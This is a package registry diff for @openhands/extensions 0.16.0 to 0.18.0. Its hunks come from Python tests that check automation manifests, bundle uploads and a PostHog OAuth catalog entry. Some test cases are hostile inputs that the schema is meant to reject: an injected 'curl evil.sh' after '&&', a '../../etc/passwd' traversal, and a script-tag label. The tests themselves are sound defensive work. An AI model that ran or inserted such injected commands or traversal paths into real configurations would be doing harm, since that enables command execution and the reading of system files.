@openhands/extensions 0.16.0 → 0.18.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (70) hide show
  1. package/.release-please-manifest.json +1 -1
  2. package/AGENTS.md +1 -0
  3. package/README.md +5 -2
  4. package/automations/README.md +78 -11
  5. package/automations/bundle-index.js +18 -0
  6. package/automations/catalog/github-agents-md-maintainer/manifest.json +96 -0
  7. package/automations/catalog/github-issue-to-pr/manifest.json +107 -0
  8. package/automations/catalog/github-pr-reviewer/manifest.json +24 -7
  9. package/automations/catalog/github-repo-monitor/manifest.json +29 -34
  10. package/automations/catalog/jira-issue-to-pr/manifest.json +3 -3
  11. package/automations/catalog/news-digest/manifest.json +76 -0
  12. package/automations/catalog-index.js +13 -7
  13. package/automations/catalog.schema.json +112 -3
  14. package/automations/index.d.ts +66 -1
  15. package/automations/index.js +14 -0
  16. package/automations/interface.json +6 -2
  17. package/automations/interface.schema.json +6 -2
  18. package/index.d.ts +1 -1
  19. package/index.js +1 -1
  20. package/integrations/catalog/posthog.json +41 -3
  21. package/integrations/catalog/sonarqube.json +78 -0
  22. package/integrations/catalog-index.js +65 -63
  23. package/marketplaces/openhands-extensions.json +49 -0
  24. package/package.json +1 -1
  25. package/plugins/qa-changes/action.yml +1 -1
  26. package/pyproject.toml +1 -1
  27. package/python/openhands_extensions/_version.py +1 -1
  28. package/scripts/build-automation-catalog.mjs +30 -0
  29. package/scripts/build-skills-catalog.mjs +24 -7
  30. package/skills/add-skill/SKILL.md +1 -1
  31. package/skills/github-agents-md-maintainer/.plugin/plugin.json +19 -0
  32. package/skills/github-agents-md-maintainer/README.md +59 -0
  33. package/skills/github-agents-md-maintainer/SKILL.md +271 -0
  34. package/skills/github-agents-md-maintainer/commands/agents-md-setup.md +8 -0
  35. package/skills/github-agents-md-maintainer/references/state-schema.md +113 -0
  36. package/skills/github-agents-md-maintainer/scripts/main.py +1187 -0
  37. package/skills/github-issue-to-pr/.plugin/plugin.json +19 -0
  38. package/skills/github-issue-to-pr/README.md +84 -0
  39. package/skills/github-issue-to-pr/SKILL.md +373 -0
  40. package/skills/github-issue-to-pr/commands/issue-to-pr-setup.md +8 -0
  41. package/skills/github-issue-to-pr/references/state-schema.md +139 -0
  42. package/skills/github-issue-to-pr/scripts/main.py +1305 -0
  43. package/skills/github-pr-reviewer/README.md +12 -6
  44. package/skills/github-pr-reviewer/SKILL.md +93 -31
  45. package/skills/github-pr-reviewer/commands/pr-reviewer-setup.md +1 -1
  46. package/skills/github-pr-reviewer/references/state-schema.md +68 -18
  47. package/skills/github-pr-reviewer/scripts/main.py +540 -103
  48. package/skills/github-pr-reviewer/tests/test_main.py +503 -0
  49. package/skills/index.d.ts +6 -0
  50. package/skills/index.js +56 -17
  51. package/skills/jira-issue-to-pr/scripts/main.py +4 -2
  52. package/skills/news-digest/.plugin/plugin.json +19 -0
  53. package/skills/news-digest/README.md +71 -0
  54. package/skills/news-digest/SKILL.md +284 -0
  55. package/skills/news-digest/commands/news-digest-setup.md +8 -0
  56. package/skills/news-digest/references/state-schema.md +178 -0
  57. package/skills/news-digest/scripts/main.py +1250 -0
  58. package/skills/openhands-sdk/SKILL.md +2 -0
  59. package/skills/skill-creator/SKILL.md +1 -1
  60. package/skills/slack-channel-monitor/scripts/main.py +3 -2
  61. package/tests/fixtures/automations/capabilities.json +30 -0
  62. package/tests/fixtures/automations/github-pr-reviewer.json +319 -55
  63. package/tests/fixtures/automations/github-repo-monitor.json +230 -62
  64. package/tests/test_automation_setup.py +260 -31
  65. package/tests/test_catalogs.py +46 -1
  66. package/tests/test_github_agents_md_maintainer.py +352 -0
  67. package/tests/test_github_issue_to_pr.py +539 -0
  68. package/tests/test_news_digest.py +646 -0
  69. package/tests/test_skills_catalog.py +182 -36
  70. package/tests/test_slack_channel_monitor.py +1 -1
@@ -32,15 +32,27 @@ ROOT = Path(__file__).resolve().parents[1]
32
32
  SCHEMA_PATH = ROOT / "automations" / "catalog.schema.json"
33
33
  CATALOG_DIR = ROOT / "automations" / "catalog"
34
34
  CATALOG_INDEX = ROOT / "automations" / "catalog-index.js"
35
+ BUNDLE_INDEX = ROOT / "automations" / "bundle-index.js"
35
36
  BUILD_SCRIPT = ROOT / "scripts" / "build-automation-catalog.mjs"
36
37
  FIXTURE_DIR = ROOT / "tests" / "fixtures" / "automations"
37
38
  CAPABILITIES_PATH = FIXTURE_DIR / "capabilities.json"
38
39
 
39
40
  # The standardized parts of a direct setup, identical for every automation and
40
- # therefore not declared in any entry.
41
+ # therefore not declared in any entry. Which create endpoint is used follows
42
+ # from what the entry produces: a prompt is a preset, a bundle is a tarball the
43
+ # host uploads and then creates from, which is the raw endpoint.
41
44
  CREATE_PATH = "/v1/preset/prompt"
45
+ BUNDLE_CREATE_PATH = "/v1"
46
+ BUNDLE_UPLOAD_PATH = "/v1/uploads"
42
47
  PREFLIGHT_PATH = "/v1/validate"
43
48
 
49
+ # Preflight runs while the form is being filled in and the upload happens once,
50
+ # at submit, so a bundle draft has no tarball path to send yet. The service
51
+ # checks that field's scheme at preflight and its ownership only at creation,
52
+ # so a well-formed stand-in validates what preflight is for - the rest of the
53
+ # body - without uploading an archive per keystroke.
54
+ PREFLIGHT_TARBALL_PATH = "oh-internal://uploads/00000000-0000-0000-0000-000000000000"
55
+
44
56
  # The trigger properties the service accepts, per kind. A form field named
45
57
  # after one of them fills it; the rest are inputs to the declared filter.
46
58
  TRIGGER_PROPERTIES = {"cron": ("schedule", "timezone"), "event": ("on",)}
@@ -83,10 +95,30 @@ def _fixture_bundles():
83
95
  yield pytest.param(path, id=path.stem)
84
96
 
85
97
 
98
+ def _inlined_bundles() -> dict:
99
+ """The generated bundle index, read as data rather than executed."""
100
+ body = BUNDLE_INDEX.read_text()
101
+ marker = "export const AUTOMATION_BUNDLE_FILES = "
102
+ return json.loads(body[body.index(marker) + len(marker) :].rstrip().rstrip(";"))
103
+
104
+
86
105
  def _entry_for(bundle: dict) -> dict:
87
106
  return _load(CATALOG_DIR / bundle["automationId"] / "manifest.json")
88
107
 
89
108
 
109
+ def _uploaded_path(scenario: dict) -> str:
110
+ """Where a bundle scenario's tarball landed, as the upload step reported it.
111
+
112
+ A preset scenario has no upload step and never reads this.
113
+ """
114
+ return (
115
+ scenario.get("upload", {})
116
+ .get("response", {})
117
+ .get("body", {})
118
+ .get("tarball_path", "")
119
+ )
120
+
121
+
90
122
  def _integration_catalog_ids() -> set[str]:
91
123
  return {path.stem for path in (ROOT / "integrations" / "catalog").glob("*.json")}
92
124
 
@@ -132,30 +164,46 @@ def _repo_picker(setup: dict) -> tuple[str | None, dict | None]:
132
164
  return None, None
133
165
 
134
166
 
135
- def _render_payload(entry: dict, form_values: dict) -> dict:
136
- """The create request body these form values produce.
167
+ def _is_bundle(entry: dict) -> bool:
168
+ """Whether this entry ships a script tarball instead of a prompt."""
169
+ return "bundle" in entry.get("setup", {})
137
170
 
138
- No entry declares this. `name` comes from the entry, `repos` from the
139
- repo-picker field and its provider, and `trigger` from the key and fields
140
- under `form.triggers`. Only `prompt` and an event `filter` are declared,
141
- because only they cannot be read off the form.
142
- """
143
- setup = entry["setup"]
144
- context = _context(entry, form_values)
145
- repo_name, repo_field = _repo_picker(setup)
146
- repo = form_values.get(repo_name) if repo_name else None
147
171
 
148
- body: dict = {
149
- "name": f"{entry['name']} - {repo}" if repo else entry["name"],
150
- "prompt": _interpolate(setup["prompt"], context),
151
- }
172
+ def _create_path(entry: dict) -> str:
173
+ return BUNDLE_CREATE_PATH if _is_bundle(entry) else CREATE_PATH
152
174
 
153
- if repo:
154
- source = {"url": repo, "provider": repo_field["provider"]}
155
- if "ref" in form_values:
156
- source["ref"] = form_values["ref"]
157
- body["repos"] = [source]
158
175
 
176
+ def _repo_values(setup: dict, form_values: dict) -> list[str]:
177
+ """Every repository the form collected, whether it collects one or many.
178
+
179
+ A `multiple` picker holds a list; a single one holds a string. Reading both
180
+ as a list is what keeps the rest of the derivation from branching.
181
+ """
182
+ name, field = _repo_picker(setup)
183
+ if not name:
184
+ return []
185
+ value = form_values.get(name)
186
+ if value is None or value == "":
187
+ return []
188
+ if field and field.get("multiple"):
189
+ return list(value)
190
+ return [value]
191
+
192
+
193
+ def _derive_name(entry: dict, form_values: dict) -> str:
194
+ """The created automation's name. One repository is worth naming; several
195
+ are not, so the count stands in rather than a list that never fits."""
196
+ repos = _repo_values(entry["setup"], form_values)
197
+ if not repos:
198
+ return entry["name"]
199
+ if len(repos) == 1:
200
+ return f"{entry['name']} - {repos[0]}"
201
+ return f"{entry['name']} - {len(repos)} repositories"
202
+
203
+
204
+ def _derive_trigger(entry: dict, form_values: dict) -> dict:
205
+ """The `trigger` object, read off the key and fields under form.triggers."""
206
+ setup = entry["setup"]
159
207
  kind, trigger_fields = next(iter(setup["form"]["triggers"].items()))
160
208
  trigger = {"type": kind}
161
209
  # A field under a trigger kind fills the trigger property of the same name.
@@ -164,9 +212,81 @@ def _render_payload(entry: dict, form_values: dict) -> dict:
164
212
  if name in TRIGGER_PROPERTIES[kind]:
165
213
  trigger[name] = form_values[name]
166
214
  if kind == "event":
215
+ _, repo_field = _repo_picker(setup)
167
216
  trigger["source"] = repo_field["provider"]
168
- trigger["filter"] = _interpolate(setup["filter"], context)
169
- body["trigger"] = trigger
217
+ trigger["filter"] = _interpolate(setup["filter"], _context(entry, form_values))
218
+ return trigger
219
+
220
+
221
+ def _render_bundle_payload(entry: dict, form_values: dict, tarball_path: str) -> dict:
222
+ """The raw create body a bundle entry produces.
223
+
224
+ `tarball_path` is the one value that is neither declared nor derived: the
225
+ host uploads the packed bundle first and creates from what came back. The
226
+ rest follows the same rule as the preset path - only `config` is declared,
227
+ because only the entry knows which key of its own script each field fills.
228
+ """
229
+ bundle = entry["setup"]["bundle"]
230
+ body: dict = {
231
+ "name": _derive_name(entry, form_values),
232
+ "trigger": _derive_trigger(entry, form_values),
233
+ "tarball_path": tarball_path,
234
+ "entrypoint": bundle["entrypoint"],
235
+ }
236
+ if "setupScript" in bundle:
237
+ body["setup_script_path"] = bundle["setupScript"]
238
+ if "timeout" in bundle:
239
+ body["timeout"] = bundle["timeout"]
240
+ body["template"] = {
241
+ "id": entry["id"],
242
+ "version": bundle["version"],
243
+ "config": _interpolate(bundle["config"], _context(entry, form_values)),
244
+ }
245
+ return body
246
+
247
+
248
+ def _render_payload(entry: dict, form_values: dict, tarball_path: str = "") -> dict:
249
+ """The create request body these form values produce.
250
+
251
+ No entry declares this. `name` comes from the entry, `repos` from the
252
+ repo-picker field and its provider, and `trigger` from the key and fields
253
+ under `form.triggers`. Only `prompt` (or, for a bundle, `config`) and an
254
+ event `filter` are declared, because only they cannot be read off the form.
255
+ """
256
+ if _is_bundle(entry):
257
+ return _render_bundle_payload(entry, form_values, tarball_path)
258
+
259
+ setup = entry["setup"]
260
+ context = _context(entry, form_values)
261
+ _, repo_field = _repo_picker(setup)
262
+ repos = _repo_values(setup, form_values)
263
+
264
+ body: dict = {
265
+ "name": _derive_name(entry, form_values),
266
+ "prompt": _interpolate(setup["prompt"], context),
267
+ }
268
+
269
+ if repos:
270
+ body["repos"] = [
271
+ {
272
+ "url": repo,
273
+ "provider": repo_field["provider"],
274
+ **({"ref": form_values["ref"]} if "ref" in form_values else {}),
275
+ }
276
+ for repo in repos
277
+ ]
278
+
279
+ body["trigger"] = _derive_trigger(entry, form_values)
280
+
281
+ # A versioned entry sends its provenance: the service stores it opaquely,
282
+ # keyed by id for idempotent creation. The form values are non-secret by
283
+ # design (credentials come only from connected integrations).
284
+ if "version" in entry:
285
+ body["template"] = {
286
+ "id": entry["id"],
287
+ "version": entry["version"],
288
+ "config": dict(form_values),
289
+ }
170
290
 
171
291
  return body
172
292
 
@@ -176,8 +296,8 @@ def _derive_preflight_body(entry: dict, form_values: dict) -> dict:
176
296
  so no entry declares it."""
177
297
  return {
178
298
  "automationId": entry["id"],
179
- "endpoint": CREATE_PATH,
180
- "draft": _render_payload(entry, form_values),
299
+ "endpoint": _create_path(entry),
300
+ "draft": _render_payload(entry, form_values, PREFLIGHT_TARBALL_PATH),
181
301
  }
182
302
 
183
303
 
@@ -190,7 +310,7 @@ def _derive_error_map(entry: dict) -> dict[str, list[str]]:
190
310
  an entry does not declare it.
191
311
  """
192
312
  mapping: dict[str, list[str]] = {}
193
- if "prompt" not in entry["setup"]:
313
+ if "prompt" not in entry["setup"] and not _is_bundle(entry):
194
314
  return mapping
195
315
 
196
316
  stand_ins = {name: f"{{{{form.{name}}}}}" for name in _field_names(entry["setup"])}
@@ -279,8 +399,8 @@ def _reported_fields(entry: dict, scenario: dict) -> dict[str, str]:
279
399
  setup = entry["setup"]
280
400
  error_map = _derive_error_map(entry)
281
401
  payload = (
282
- _render_payload(entry, scenario["formValues"])
283
- if "prompt" in setup and "formValues" in scenario
402
+ _render_payload(entry, scenario["formValues"], _uploaded_path(scenario))
403
+ if ("prompt" in setup or _is_bundle(entry)) and "formValues" in scenario
284
404
  else {}
285
405
  )
286
406
 
@@ -368,7 +488,7 @@ def test_schema_rejects_content_a_setup_block_must_never_carry() -> None:
368
488
  rejected: list[tuple[str, dict]] = []
369
489
 
370
490
  with_markup = deepcopy(entry)
371
- with_markup["setup"]["form"]["args"]["repository"]["label"] = (
491
+ with_markup["setup"]["form"]["args"]["repositories"]["label"] = (
372
492
  "Repository <script>steal()</script>"
373
493
  )
374
494
  rejected.append(("<script>steal()</script>", with_markup))
@@ -387,6 +507,10 @@ def test_schema_rejects_content_a_setup_block_must_never_carry() -> None:
387
507
  with_repeated_identity["setup"]["description"] = "a second description"
388
508
  rejected.append(("description", with_repeated_identity))
389
509
 
510
+ with_bad_version = deepcopy(entry)
511
+ with_bad_version["version"] = "1.0"
512
+ rejected.append(("'1.0' does not match", with_bad_version))
513
+
390
514
  for expected_fragment, invalid in rejected:
391
515
  errors = list(VALIDATOR.iter_errors(invalid))
392
516
  assert any(expected_fragment in error.message for error in errors), (
@@ -410,6 +534,26 @@ def test_form_placeholders_reference_declared_fields(entry_path: Path) -> None:
410
534
  assert referenced - fields == set()
411
535
 
412
536
 
537
+ @pytest.mark.parametrize("entry_path", list(_setup_paths()))
538
+ def test_the_declared_features_match_the_archetype(entry_path: Path) -> None:
539
+ """A bundle needs a deployment that runs a client-supplied tarball; a prompt
540
+ needs the preset endpoint. Declaring the other one's features is a check the
541
+ host runs against the wrong capability, so the entry is either offered where
542
+ it cannot run or withheld where it can."""
543
+ entry = _load(entry_path)
544
+ features = set(entry["requires"].get("features", []))
545
+
546
+ if _is_bundle(entry):
547
+ assert "customTarball" in features, f"{entry['id']}: a bundle must declare customTarball"
548
+ assert "presetPrompt" not in features, (
549
+ f"{entry['id']}: a bundle creates through {BUNDLE_CREATE_PATH}, not the preset endpoint"
550
+ )
551
+ else:
552
+ assert "customTarball" not in features, (
553
+ f"{entry['id']}: only a bundle uploads a tarball"
554
+ )
555
+
556
+
413
557
  @pytest.mark.parametrize("entry_path", list(_setup_paths()))
414
558
  def test_select_fields_offer_options(entry_path: Path) -> None:
415
559
  """A select without options is an empty dropdown the user cannot get past.
@@ -435,10 +579,10 @@ def test_derived_body_reproduces_the_create_request(
435
579
  where that reconstruction is pinned to a body the service accepts."""
436
580
  entry = _entry_for(bundle)
437
581
 
438
- derived = _render_payload(entry, scenario["formValues"])
582
+ derived = _render_payload(entry, scenario["formValues"], _uploaded_path(scenario))
439
583
 
440
584
  assert derived == scenario["create"]["request"]["body"]
441
- assert scenario["create"]["request"]["path"] == CREATE_PATH
585
+ assert scenario["create"]["request"]["path"] == _create_path(entry)
442
586
 
443
587
 
444
588
  @pytest.mark.parametrize(("bundle", "scenario"), list(_scenarios("preflight")))
@@ -506,12 +650,97 @@ def test_blocked_by_lists_exactly_the_unsatisfiable_deployments(
506
650
  def test_generated_catalog_index_is_up_to_date() -> None:
507
651
  """Re-running the codegen script should produce identical output."""
508
652
  before = CATALOG_INDEX.read_text()
653
+ bundles_before = BUNDLE_INDEX.read_text()
509
654
  subprocess.run(
510
655
  ["node", str(BUILD_SCRIPT)], cwd=str(ROOT), check=True, capture_output=True
511
656
  )
512
657
  assert CATALOG_INDEX.read_text() == before, (
513
658
  "automations/catalog-index.js is out of date - run: npm run build:automations"
514
659
  )
660
+ assert BUNDLE_INDEX.read_text() == bundles_before, (
661
+ "automations/bundle-index.js is out of date - run: npm run build:automations"
662
+ )
663
+
664
+
665
+ @pytest.mark.parametrize("entry_path", list(_setup_paths()))
666
+ def test_bundle_files_exist_and_are_inlined(entry_path: Path) -> None:
667
+ """A bundle names repository paths; the package ships their contents.
668
+
669
+ The host packing the tarball has the published package but not this
670
+ repository, so a path that resolves here and nowhere else would produce an
671
+ entry that installs in CI and fails for every user.
672
+ """
673
+ entry = _load(entry_path)
674
+ if not _is_bundle(entry):
675
+ pytest.skip("not a bundle entry")
676
+
677
+ bundle = entry["setup"]["bundle"]
678
+ inlined = _inlined_bundles()
679
+
680
+ assert set(inlined) >= {entry["id"]}
681
+ for packed_path, source in bundle["files"].items():
682
+ assert (ROOT / source).is_file(), f"{source} does not exist"
683
+ assert inlined[entry["id"]][packed_path] == (ROOT / source).read_text()
684
+
685
+ # The entrypoint has to name something the tarball actually contains.
686
+ packed = set(bundle["files"]) | {"config.json"}
687
+ assert any(word in packed for word in bundle["entrypoint"].split()), (
688
+ f"entrypoint {bundle['entrypoint']!r} names no packed file"
689
+ )
690
+ if "setupScript" in bundle:
691
+ assert bundle["setupScript"] in packed
692
+
693
+
694
+ # A bundle is the one part of a manifest naming files and a command the host
695
+ # acts on, so the schema is what stands between an entry and the host doing it.
696
+ BUNDLE_REJECTIONS = [
697
+ ("a packed path that climbs out of the archive", {"files": {"../main.py": "skills/github-pr-reviewer/scripts/main.py"}}),
698
+ ("a packed path that is a bare dot segment", {"files": {"./main.py": "skills/github-pr-reviewer/scripts/main.py"}}),
699
+ ("a source that traverses out of the repository", {"files": {"main.py": "skills/../../etc/passwd"}}),
700
+ ("a source outside skills/ and automations/", {"files": {"main.py": "python/main.py"}}),
701
+ ("an entrypoint carrying a shell metacharacter", {"entrypoint": "python3 main.py && curl evil.sh"}),
702
+ ("a setup script that climbs out of the archive", {"setupScript": "../setup.sh"}),
703
+ ("a version that is not a semantic version", {"version": "latest"}),
704
+ ("no files at all", {"files": {}}),
705
+ ]
706
+
707
+
708
+ @pytest.mark.parametrize(
709
+ ("case", "override"),
710
+ [pytest.param(case, override, id=case) for case, override in BUNDLE_REJECTIONS],
711
+ )
712
+ def test_schema_refuses_an_unsafe_bundle(case: str, override: dict) -> None:
713
+ entry = deepcopy(_load(CATALOG_DIR / "github-pr-reviewer" / "manifest.json"))
714
+ entry["setup"]["bundle"].update(override)
715
+
716
+ assert list(VALIDATOR.iter_errors(entry)), f"schema admitted {case}"
717
+
718
+
719
+ def test_a_direct_entry_declares_a_prompt_or_a_bundle_but_not_both() -> None:
720
+ entry = deepcopy(_load(CATALOG_DIR / "github-pr-reviewer" / "manifest.json"))
721
+ entry["setup"]["prompt"] = "Review pull requests."
722
+
723
+ assert list(VALIDATOR.iter_errors(entry))
724
+
725
+ del entry["setup"]["prompt"]
726
+ del entry["setup"]["bundle"]
727
+
728
+ assert list(VALIDATOR.iter_errors(entry))
729
+
730
+
731
+ @pytest.mark.parametrize("entry_path", list(_setup_paths()))
732
+ def test_bundle_config_only_reads_declared_form_fields(entry_path: Path) -> None:
733
+ """config.json is the bundle's analogue of the prompt, and the same rule
734
+ applies: a placeholder must name an input the form actually collects."""
735
+ entry = _load(entry_path)
736
+ if not _is_bundle(entry):
737
+ pytest.skip("not a bundle entry")
738
+
739
+ names = _field_names(entry["setup"])
740
+ for value in _iter_strings(entry["setup"]["bundle"]["config"]):
741
+ for namespace, key in PLACEHOLDER_RE.findall(value):
742
+ if namespace == "form":
743
+ assert key in names, f"config references unknown field: {key}"
515
744
 
516
745
 
517
746
  def test_no_catalog_entry_or_fixture_carries_a_credential_value() -> None:
@@ -34,8 +34,10 @@ def test_catalog_ids_are_unique_and_automations_reference_things_that_exist():
34
34
 
35
35
  known_integration_ids = set(integration_ids)
36
36
  for automation in automations:
37
+ # May be empty: an automation that needs nothing connected says so with
38
+ # an empty object rather than by leaving the key out. What it may not do
39
+ # is name an integration that does not exist.
37
40
  required = automation["requires"]["integrations"]
38
- assert required
39
41
  assert set(required) - known_integration_ids == set()
40
42
 
41
43
  # The launch command is looked up from this skill rather than stored on
@@ -146,6 +148,49 @@ def test_credential_fields_have_helper_text_and_link():
146
148
  )
147
149
 
148
150
 
151
+ def test_posthog_catalog_prefers_oauth_with_safe_mcp_defaults():
152
+ posthog = next(
153
+ entry for entry in load_catalog_entries("integrations/catalog")
154
+ if entry["id"] == "posthog"
155
+ )
156
+
157
+ assert [option["id"] for option in posthog["connectionOptions"]] == [
158
+ "oauth",
159
+ "api-key",
160
+ ]
161
+
162
+ oauth = posthog["connectionOptions"][0]
163
+ assert oauth["provider"] == "mcp"
164
+ assert oauth["transport"] == {
165
+ "kind": "shttp",
166
+ "url": "https://mcp.posthog.com/mcp?readonly=true",
167
+ "urlEditable": True,
168
+ }
169
+ oauth_config = oauth["auth"]["oauth"]
170
+ assert oauth_config["authorizationUrl"] == (
171
+ "https://oauth.posthog.com/oauth/authorize/"
172
+ )
173
+ assert oauth_config["tokenUrl"] == "https://oauth.posthog.com/oauth/token/"
174
+ assert oauth_config["registrationUrl"] == (
175
+ "https://oauth.posthog.com/oauth/register/"
176
+ )
177
+ assert oauth_config["pkce"] is True
178
+ assert oauth_config["clientAuthentication"] == "none"
179
+ assert oauth_config["additionalAuthorizationParams"] == {
180
+ "resource": "https://mcp.posthog.com/mcp"
181
+ }
182
+ assert oauth_config["additionalTokenParams"] == {
183
+ "resource": "https://mcp.posthog.com/mcp"
184
+ }
185
+ assert "query:read" in oauth_config["scopes"]
186
+ assert all(not scope.endswith(":write") for scope in oauth_config["scopes"])
187
+
188
+ api_key = posthog["connectionOptions"][1]
189
+ assert api_key["auth"]["strategy"] == "bearer"
190
+ assert api_key["auth"]["credentialSecretName"] == "POSTHOG_PERSONAL_API_KEY"
191
+ assert api_key["auth"]["saveCredentialAsSecretByDefault"] is True
192
+
193
+
149
194
  def test_node_package_exports_catalogs():
150
195
  script = """
151
196
  import { INTEGRATION_CATALOG, AUTOMATION_CATALOG } from './index.js';